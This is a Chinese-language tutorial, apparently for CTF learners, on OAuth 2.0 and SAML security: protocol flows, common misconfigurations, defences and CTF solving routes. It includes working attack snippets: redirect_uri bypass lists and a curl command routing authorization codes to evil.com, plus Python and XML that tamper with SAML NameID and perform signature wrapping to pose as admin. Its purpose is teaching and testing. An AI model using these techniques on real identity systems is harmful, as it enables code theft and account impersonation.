OAuth 2.0 与 SAML 安全
2025/9/7大约 9 分钟
OAuth 2.0 与 SAML 安全
本文适合
已掌握基本 Web 安全的学习者。学完你能:理解 OAuth 2.0 和 SAML 的认证流程,识别常见配置错误,利用绕过漏洞
OAuth 2.0 基础
什么是 OAuth 2.0
OAuth 2.0 是一个授权框架,允许第三方应用获取用户资源的有限访问权限,而不需要暴露用户凭证。
OAuth 2.0 角色
Resource Owner:资源拥有者(用户)
Client:客户端(第三方应用)
Authorization Server:授权服务器
Resource Server:资源服务器OAuth 2.0 授权流程
1. 用户点击"使用 XX 登录"
2. 重定向到授权服务器
3. 用户授权
4. 授权服务器返回授权码
5. 客户端用授权码换取访问令牌
6. 客户端使用访问令牌访问资源OAuth 2.0 常见漏洞
1. redirect_uri 绕过
正常:redirect_uri=https://client.com/callback
攻击:redirect_uri=https://evil.com/callback
如果服务器未严格验证 redirect_uri,攻击者可以窃取授权码2. state 参数缺失
state 参数用于防止 CSRF 攻击
正常流程:
1. 客户端生成随机 state
2. 重定向到授权服务器时携带 state
3. 授权服务器返回时携带 state
4. 客户端验证 state 是否匹配
如果缺失 state,攻击者可以:
1. 获取自己的授权码
2. 诱导受害者使用该授权码
3. 绑定受害者的账户到攻击者3. 授权码泄露
授权码是一次性的,但如果:
1. 授权码在 URL 中(可能被 Referer 泄露)
2. 授权码未及时使用(可能被重放)
3. 授权码未绑定客户端(可能被其他客户端使用)4. 令牌泄露
访问令牌泄露途径:
1. URL 参数(可能被日志记录)
2. Referer 头
3. 浏览器历史
4. 客户端存储不安全OAuth 2.0 攻击示例
redirect_uri 绕过
import requests
def test_redirect_uri_bypass(auth_url, client_id, redirect_uri_variants):
"""测试 redirect_uri 绕过"""
for uri in redirect_uri_variants:
params = {
'response_type': 'code',
'client_id': client_id,
'redirect_uri': uri,
'scope': 'openid profile email'
}
resp = requests.get(auth_url, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get('Location', '')
if 'code=' in location:
print(f"[!] redirect_uri 绕过成功: {uri}")
print(f" 重定向到: {location[:100]}...")
else:
print(f"[*] 重定向但无授权码: {uri}")
else:
print(f"[-] 失败: {uri} (状态码: {resp.status_code})")
# 常见绕过变体
bypass_uris = [
"https://client.com/callback",
"https://client.com/callback/",
"https://client.com/callback/..",
"https://client.com/callback/../../",
"https://client.com/callback%00",
"https://client.com/callback#",
"https://client.com/callback?",
"https://evil.com/callback",
"https://client.com.evil.com/callback",
"https://client.com/callback?redirect=https://evil.com",
]state 参数缺失攻击
import requests
def exploit_missing_state(auth_url, victim_code):
"""利用缺失的 state 参数"""
# 1. 攻击者获取自己的授权码
# 2. 诱导受害者访问包含攻击者授权码的 URL
# 3. 受害者的账户被绑定到攻击者
# 构造恶意 URL
malicious_url = f"https://client.com/callback?code={victim_code}"
print(f"[*] 诱导受害者访问: {malicious_url}")
print("[*] 受害者的账户将被绑定到攻击者")SAML 基础
什么是 SAML
SAML(Security Assertion Markup Language)是基于 XML 的标准,用于在身份提供者(IdP)和服务提供者(SP)之间交换认证和授权数据。
SAML 流程
1. 用户访问服务提供者(SP)
2. SP 生成 SAML 请求
3. 用户被重定向到身份提供者(IdP)
4. IdP 验证用户身份
5. IdP 生成 SAML 响应(包含断言)
6. 用户被重定向回 SP
7. SP 验证 SAML 响应
8. 用户被授权访问SAML 常见漏洞
1. 签名验证绕过
如果 SP 未验证 SAML 响应的签名:
1. 攻击者可以伪造 SAML 响应
2. 修改断言中的用户信息
3. 冒充任意用户2. XML 注入
SAML 使用 XML 格式,可能存在:
1. XML 外部实体注入(XXE)
2. XML 签名包装攻击(XSW)3. 断言重放
如果 SAML 断言未设置有效期或未检查唯一性:
1. 攻击者可以重放旧的断言
2. 绕过认证4. 身份混淆
如果 SP 未正确验证 IdP 的身份:
1. 攻击者可以搭建恶意 IdP
2. 伪造 SAML 响应
3. 冒充合法用户SAML 攻击示例
XML 签名包装攻击(XSW)
<!-- 原始 SAML 响应 -->
<samlp:Response>
<saml:Assertion ID="original">
<saml:Subject>
<saml:NameID>user@example.com</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
<!-- XSW 攻击:复制断言并修改 -->
<samlp:Response>
<saml:Assertion ID="original">
<saml:Subject>
<saml:NameID>admin@example.com</saml:NameID>
</saml:Subject>
</saml:Assertion>
<ds:Signature>
<ds:Reference URI="#original"/>
</ds:Signature>
</samlp:Response>SAML 签名绕过
import base64
import xml.etree.ElementTree as ET
def tamper_saml_response(saml_response_b64, new_username):
"""篡改 SAML 响应"""
# 解码 SAML 响应
saml_xml = base64.b64decode(saml_response_b64).decode()
# 解析 XML
root = ET.fromstring(saml_xml)
# 查找 NameID 元素
namespaces = {
'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol'
}
nameid = root.find('.//saml:NameID', namespaces)
if nameid is not None:
# 修改用户名
original = nameid.text
nameid.text = new_username
print(f"[*] 修改用户名: {original} -> {new_username}")
# 重新编码(兼容 Python 3.7+)
tampered_xml = ET.tostring(root, encoding='unicode', method='xml')
tampered_b64 = base64.b64encode(tampered_xml.encode('utf-8')).decode()
return tampered_b64
# 使用示例
# tampered = tamper_saml_response(saml_response, "admin@example.com")OAuth 2.0 与 SAML 防御
OAuth 2.0 防御
1. 严格验证 redirect_uri
- 使用精确匹配
- 不允许通配符
- 不允许路径遍历
2. 使用 state 参数
- 生成随机 state
- 验证 state 匹配
3. 使用 PKCE
- 代码交换证明密钥
- 防止授权码拦截
4. 令牌安全
- 使用短期令牌
- 使用刷新令牌
- 安全存储令牌SAML 防御
1. 验证签名
- 验证响应签名
- 验证断言签名
- 使用强加密算法
2. 验证 IdP 身份
- 验证 IdP 证书
- 验证 IdP 元数据
3. 防止重放攻击
- 检查断言有效期
- 检查断言唯一性
4. 防止 XML 攻击
- 禁用外部实体
- 使用安全的 XML 解析器CTF 中的 OAuth/SAML 题
常见题型
- redirect_uri 绕过:修改重定向 URL 窃取授权码
- state 缺失:利用缺失的 state 绑定账户
- 签名绕过:伪造 SAML 响应冒充用户
- XML 注入:利用 SAML 的 XML 格式注入
解题思路
- 识别认证方式:OAuth 2.0 还是 SAML
- 分析认证流程:找到可利用的点
- 构造攻击:利用配置错误或验证缺陷
常见误区
- 以为 OAuth 2.0 是认证协议(它是授权协议)
- 忽略 state 参数的重要性
- 不验证 SAML 签名
- 不理解 SAML 的 XML 结构
一句话判断
看到“使用 XX 登录”、client_id、redirect_uri、code、state、SAMLResponse、XML 断言或身份提供者/服务提供者跳转链时,就按 OAuth/SAML 安全分析。
这类题的核心不是爆破密码,而是验证认证/授权流程中每一步有没有绑定客户端、用户、回调地址、state、签名和断言有效期。
题目中常见信号
- URL 中有
response_type=code、client_id、redirect_uri、scope、state。 - 登录后从第三方域名跳回
/callback?code=...。 redirect_uri可控或支持通配符。state缺失、固定、可预测或不校验。- SAML 请求或响应是 Base64 编码 XML。
- 响应参数名是
SAMLResponse、RelayState。 - XML 中有
NameID、Assertion、Signature、Audience、Recipient。
核心概念
OAuth 重点看授权码和令牌是否绑定:
授权码 code 应绑定 client_id、redirect_uri、用户和短有效期
state 应绑定当前会话,防止登录 CSRF
token 不应泄露到 Referer、日志或前端不安全存储SAML 重点看断言是否可信:
SP 必须验证签名、签名覆盖的 Assertion、Audience、Recipient、有效期和唯一性只要某个绑定缺失,就可能出现授权码窃取、账号绑定、身份冒充或断言重放。
最小分析流程
- 抓完整登录流程,不要只看最后一个请求。
- 画出浏览器、Client、Authorization Server / IdP、Resource Server / SP 的跳转。
- OAuth 先检查
redirect_uri是否严格匹配。 - 检查
state是否存在、随机、会话绑定、回调时校验。 - 检查授权码是否一次性、短期、绑定 client 和 redirect_uri。
- SAML 先 Base64 解码 XML。
- 检查签名是否存在,签的是 Response 还是 Assertion。
- 修改
NameID、复制 Assertion、重放旧响应做最小验证。 - 记录每一步跳转 URL、参数和响应。
最小验证示例
OAuth redirect_uri 测试:
curl -i 'https://idp/auth?response_type=code&client_id=abc&redirect_uri=https://evil.com/callback&state=test' \
-L如果最终跳到 evil.com 且带 code=...,说明授权码可被窃取。
state 缺失测试:
1. 攻击者登录拿到自己的 code
2. 构造 https://client/callback?code=ATTACKER_CODE
3. 让受害者访问
4. 检查受害者账号是否绑定攻击者身份SAML 最小篡改:
import base64
xml = base64.b64decode(saml_response).decode()
tampered = xml.replace("user@example.com", "admin@example.com")
print(base64.b64encode(tampered.encode()).decode())如果篡改后仍登录为 admin,说明签名验证或签名覆盖范围有问题。
常见利用 / 解题路线
路线总览:
路线一:redirect_uri 绕过
开放重定向 / 后缀匹配 / 子域混淆 / 路径穿越
-> code 被发到攻击者域名路线二:state 缺失导致登录 CSRF
攻击者 code -> 受害者 callback -> 受害者绑定攻击者第三方身份路线三:授权码未绑定
code 可被其他 client_id 或 redirect_uri 换 token路线四:SAML 签名绕过
修改 NameID / Attribute
-> SP 未验签或验签对象和业务读取对象不一致路线五:XML Signature Wrapping
保留原签名 Assertion
插入伪造 Assertion
业务读取伪造内容,签名验证读取原内容路线六:SAML 重放
旧 SAMLResponse 再提交
-> 未校验 NotOnOrAfter / InResponseTo / Assertion ID常见失败原因
- 只看最后的 callback:漏洞往往在前面的授权请求或 IdP 响应。
- 混淆 OAuth 和 OIDC:OAuth 是授权框架,登录语义通常来自 OIDC 的 ID Token。
- redirect_uri 只测 evil.com:还要测后缀、前缀、编码、开放重定向。
- state 只看存在:要验证随机性和会话绑定。
- SAML 只改 NameID:如果签名正确校验,简单篡改应失败。
- 忽略 Audience/Recipient:断言应只给特定 SP 使用。
- 没有重放测试:旧断言或旧 code 可能仍可用。
迷你案例
OAuth 登录请求:
https://idp/auth?client_id=ctf&redirect_uri=https://client/callback&response_type=code没有 state。攻击者先用自己的账号授权,得到:
https://client/callback?code=ATTACKER_CODE诱导受害者访问该 URL。如果 client 没有 state 校验,可能把受害者当前会话绑定到攻击者第三方账号。
WP 要写清楚:
state 缺失
callback 接受攻击者 code
code 对应攻击者身份
受害者会话完成绑定这是登录 CSRF,不是密码泄露。